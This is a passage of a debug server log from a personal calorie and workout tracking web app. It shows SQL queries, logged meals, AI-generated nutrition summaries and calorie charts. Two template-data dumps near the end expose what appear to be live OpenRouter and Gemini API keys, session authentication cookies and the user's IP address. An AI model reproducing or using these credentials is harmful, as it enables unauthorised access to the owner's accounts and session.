    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T08:40:22.973Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T08:40:22.973Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T08:40:22.973Z server-connect:app Executing action step identify
2025-12-22T08:40:22.974Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.974Z server-connect:output identity: 1
2025-12-22T08:40:22.974Z server-connect:app Executing action step restrict
2025-12-22T08:40:22.974Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.974Z server-connect:output restrict: undefined
2025-12-22T08:40:22.974Z server-connect:app Executing action step single
2025-12-22T08:40:22.974Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T08:40:22.974Z server-connect:app Executing action step identify
2025-12-22T08:40:22.974Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.974Z server-connect:output identity: 1
2025-12-22T08:40:22.974Z server-connect:app Executing action step restrict
2025-12-22T08:40:22.974Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:22.975Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T08:40:22.975Z server-connect:output restrict: undefined
2025-12-22T08:40:22.975Z server-connect:app Executing action step single
2025-12-22T08:40:22.975Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T08:40:22.976Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T08:40:22.976Z server-connect:app Executing action step select
2025-12-22T08:40:22.976Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T08:40:22.977Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  },
  {
    id: 486,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Aalo Gobi Sukhi Sabji',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed mixed vegetables,Gobi sabji with less potato,Salad with grilled chicken/paneer',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but portion size and oil content can impact calorie count. Good source of vegetables.'
  },
  {
    id: 487,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Roti',
    calories: 270,
    protein_gm: 9,
    carbs_gm: 57,
    fat_gm: 3,
    quantity: '3 rotis (approx 30g each)',
    replacements: 'Whole wheat roti (slightly lower GI),Jowar/Bajra roti (higher fiber),Brown rice (in moderation),Quinoa',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 2,
    skip_reason: 'While a staple, 3 rotis can contribute significantly to carb intake. For muscle development, focus on complex carbs and protein. Can be reduced or swapped for higher fiber options.'
  }
]
2025-12-22T08:40:22.977Z server-connect:app Executing action step setvalue
2025-12-22T08:40:22.977Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T08:40:22.977Z server-connect:output var_total: 938
2025-12-22T08:40:22.977Z server-connect:app Executing action step setvalue
2025-12-22T08:40:22.977Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T08:40:22.977Z server-connect:output var_consumed: 39
2025-12-22T08:40:22.977Z server-connect:app Executing action step setvalue
2025-12-22T08:40:22.977Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T08:40:22.977Z server-connect:output var_deficit: 1462
2025-12-22T08:40:22.977Z server-connect:app Executing action step custom
2025-12-22T08:40:22.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T08:40:22.979Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '938',
    surplus_or_deficit: '1462',
    status_flag: 2
  }
]
2025-12-22T08:40:23.828Z server-connect:app Executing action step identify
2025-12-22T08:40:23.828Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:23.828Z server-connect:output identity: 1
2025-12-22T08:40:45.105Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T08:40:45.105Z server-connect:app Executing action step identify
2025-12-22T08:40:45.105Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:45.106Z server-connect:output identity: 1
2025-12-22T08:40:45.106Z server-connect:app Executing action step restrict
2025-12-22T08:40:45.106Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:45.107Z server-connect:output restrict: undefined
2025-12-22T08:40:45.107Z server-connect:app Executing action step processWithGemini
2025-12-22T08:40:45.107Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T08:40:46.639Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Sattu Mithai',
      quantity: '1 piece (approx 50g)',
      calories_consumed: 200,
      total_calories: 200,
      protein: 5,
      carbs: 30,
      fat: 7,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While sattu is nutritious, mithai often contains significant sugar and ghee, adding empty calories. For muscle development, prioritize protein and complex carbs with less added sugar.'
    }
  ],
  total_macros: {
    protein: { value: 5, unit: 'g' },
    carbs: { value: 30, unit: 'g' },
    fat: { value: 7, unit: 'g' }
  }
}
2025-12-22T08:41:10.210Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T08:41:10.211Z server-connect:app Executing action step identify
2025-12-22T08:41:10.211Z server-connect:app options: { provider: 'security' }
2025-12-22T08:41:10.211Z server-connect:output identity: 1
2025-12-22T08:41:10.211Z server-connect:app Executing action step restrict
2025-12-22T08:41:10.211Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:41:10.211Z server-connect:output restrict: undefined
2025-12-22T08:41:10.211Z server-connect:app Executing action step processWithGemini
2025-12-22T08:41:10.211Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T08:41:11.982Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Sattu Mithai',
      quantity: '1 piece',
      calories_consumed: 150,
      total_calories: 150,
      protein: 5,
      carbs: 25,
      fat: 4,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While sattu is nutritious, mithai often contains significant sugar and ghee, which can add up in calories. For muscle development, focusing on protein-rich sattu in less sugary forms would be more beneficial. The 'very less sugar' helps, but it's still a dessert."
    }
  ],
  total_macros: {
    protein: { value: 5, unit: 'g' },
    carbs: { value: 25, unit: 'g' },
    fat: { value: 4, unit: 'g' }
  }
}
2025-12-22T08:44:32.711Z server-connect:router Serving templateView /workout
2025-12-22T08:44:32.711Z server-connect:app Executing action step identify
2025-12-22T08:44:32.711Z server-connect:app options: { provider: 'security' }
2025-12-22T08:44:32.711Z server-connect:output identity: 1
2025-12-22T08:44:32.711Z server-connect:app Executing action step restrict
2025-12-22T08:44:32.711Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T08:44:32.713Z server-connect:output restrict: undefined
2025-12-22T08:44:32.713Z server-connect:router Render template workout
2025-12-22T08:44:32.713Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T08:44:32.927Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-22T08:44:32.927Z server-connect:app Executing action step identify
2025-12-22T08:44:32.927Z server-connect:app options: { provider: 'security' }
2025-12-22T08:44:32.927Z server-connect:output identity: 1
2025-12-22T08:44:32.927Z server-connect:app Executing action step restrict
2025-12-22T08:44:32.928Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:44:32.928Z server-connect:output restrict: undefined
2025-12-22T08:44:32.928Z server-connect:app Executing action step select
2025-12-22T08:44:32.928Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-22T08:44:32.930Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Fat Loss',
    start_date: '2025-03-31T18:30:00.000Z',
    end_date: '2025-05-07T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  },
  {
    schedule_id: 3,
    schedule_name: 'Fat Loss',
    start_date: '2025-11-14T18:30:00.000Z',
    end_date: '2025-11-14T18:30:00.000Z',
    days: 70,
    created_on: '2025-11-11T01:10:11.000Z',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    status: 'Not Started',
    description: 'test'
  }
]
2025-12-22T08:50:14.993Z server-connect:app Executing action step identify
2025-12-22T08:50:14.993Z server-connect:app options: { provider: 'security' }
2025-12-22T08:50:14.994Z server-connect:output identity: 1
2025-12-22T08:50:17.196Z server-connect:app Executing action step identify
2025-12-22T08:50:17.196Z server-connect:app options: { provider: 'security' }
2025-12-22T08:50:17.196Z server-connect:output identity: 1
2025-12-22T09:38:42.231Z server-connect:app Executing action step identify
2025-12-22T09:38:42.231Z server-connect:app options: { provider: 'security' }
2025-12-22T09:38:42.231Z server-connect:output identity: 1
2025-12-22T09:38:44.332Z server-connect:app Executing action step identify
2025-12-22T09:38:44.332Z server-connect:app options: { provider: 'security' }
2025-12-22T09:38:44.332Z server-connect:output identity: 1
2025-12-22T10:44:49.237Z server-connect:app Executing action step identify
2025-12-22T10:44:49.237Z server-connect:app options: { provider: 'security' }
2025-12-22T10:44:49.237Z server-connect:output identity: 1
2025-12-22T10:44:51.408Z server-connect:app Executing action step identify
2025-12-22T10:44:51.408Z server-connect:app options: { provider: 'security' }
2025-12-22T10:44:51.408Z server-connect:output identity: 1
2025-12-22T10:51:59.263Z server-connect:app Executing action step identify
2025-12-22T10:51:59.263Z server-connect:app options: { provider: 'security' }
2025-12-22T10:51:59.263Z server-connect:output identity: 1
2025-12-22T10:52:02.361Z server-connect:app Executing action step identify
2025-12-22T10:52:02.361Z server-connect:app options: { provider: 'security' }
2025-12-22T10:52:02.361Z server-connect:output identity: 1
2025-12-22T10:52:45.565Z server-connect:router Serving templateView /exercise/2
2025-12-22T10:52:45.565Z server-connect:app Executing action step identify
2025-12-22T10:52:45.565Z server-connect:app options: { provider: 'security' }
2025-12-22T10:52:45.566Z server-connect:output identity: 1
2025-12-22T10:52:45.566Z server-connect:app Executing action step restrict
2025-12-22T10:52:45.566Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T10:52:45.567Z server-connect:output restrict: undefined
2025-12-22T10:52:45.568Z server-connect:router Render template workout-exercise
2025-12-22T10:52:45.568Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
